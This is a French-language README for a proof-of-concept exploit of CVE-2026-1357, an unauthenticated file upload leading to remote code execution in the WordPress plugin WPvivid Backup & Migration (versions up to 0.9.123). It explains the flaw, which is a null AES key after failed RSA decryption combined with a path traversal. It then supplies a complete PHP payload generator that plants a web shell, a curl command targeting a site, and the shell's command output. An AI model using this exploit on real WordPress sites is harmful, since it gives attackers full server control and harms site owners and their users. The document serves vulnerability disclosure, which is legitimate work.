
Preuve de concept d'exploitation pour CVE-2026-1357, un téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE) dans le plugin WPvivid Backup & Migration, avec générateur d'exploit et instructions d'exécution.
Découvert par : Lucas Montes (NiRoX)
Vulnérabilité : Téléversement arbitraire de fichiers non authentifié menant à une exécution de code à distance (RCE)
Identifiant CVE : CVE-2026-1357
CVSS : Critique (9,8)
Statut : Corrigé dans la version 0.9.124
Ce dépôt contient l'analyse et la preuve de concept (PoC) d'une vulnérabilité critique dans le plugin WordPress WPvivid Backup & Migration (versions <= 0.9.123).
La vulnérabilité permet à un attaquant non authentifié de téléverser des fichiers arbitraires (tels que des shells PHP) sur le serveur, conduisant à une exécution de code à distance (RCE) immédiate. Cela est causé par un défaut logique dans la gestion des erreurs cryptographiques (Fail-Open) combiné à une vulnérabilité de traversée de chemin.
La vulnérabilité réside dans la manière dont le plugin gère les demandes de transfert de sauvegarde à distance via le hook wpvivid_action=send_to_site. La chaîne d'exploitation se compose de deux bugs distincts fonctionnant ensemble :
Lorsque le plugin reçoit une demande de transfert, il tente de déchiffrer la clé de session fournie à l'aide de openssl_private_decrypt().
false. La logique du plugin ne vérifie pas cette valeur booléenne de retour et transmet false à la bibliothèque phpseclib pour initialiser le chiffrement AES.phpseclib, une clé false ou vide est traitée comme une chaîne d'octets nuls (\0\0...). Cela permet à un attaquant de chiffrer une charge utile malveillante à l'aide d'une clé nulle de 128 bits, contournant ainsi le besoin de la clé privée réelle.Une fois la charge utile « déchiffrée » avec succès à l'aide de la clé nulle, le plugin traite le contenu JSON.
name dans la charge utile JSON n'est pas assaini.../) pour échapper au répertoire de sauvegarde restreint du plugin (généralement protégé par .htaccess) et écrire un fichier PHP malveillant dans le répertoire public wp-content/uploads/.Contraintes :
wpvivid_api_token expire, le chemin de code vulnérable permet à la demande d'échouer silencieusement.L'exploit repose sur le comportement de phpseclib (v1). Pour exécuter le générateur localement, vous avez besoin des fichiers de la bibliothèque :
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Ce script crée une charge utile chiffrée avec une clé nulle et inclut la traversée de chemin pour téléverser un shell.
<?php
// exploit.php - Écrit par Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialiser Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. REPRODUCTION DE LA VULNÉRABILITÉ
// Le serveur utilise par défaut une clé nulle lorsque le déchiffrement RSA échoue (renvoie false).
// Nous définissons notre clé locale sur 16 octets nuls pour correspondre à l'état vulnérable du serveur.
$rij->setKey(str_repeat("\0", 16));
// 3. La charge utile
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. L'objet JSON avec traversée de chemin
// Nous remontons jusqu'à /uploads/ pour contourner les restrictions .htaccess
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Chiffrer avec la clé nulle
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construire le paquet
// "ABC" est la clé RSA factice qui déclenche le retour 'false' sur le serveur
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Résultat :
uid=33(www-data) gid=33(www-data) groups=33(www-data)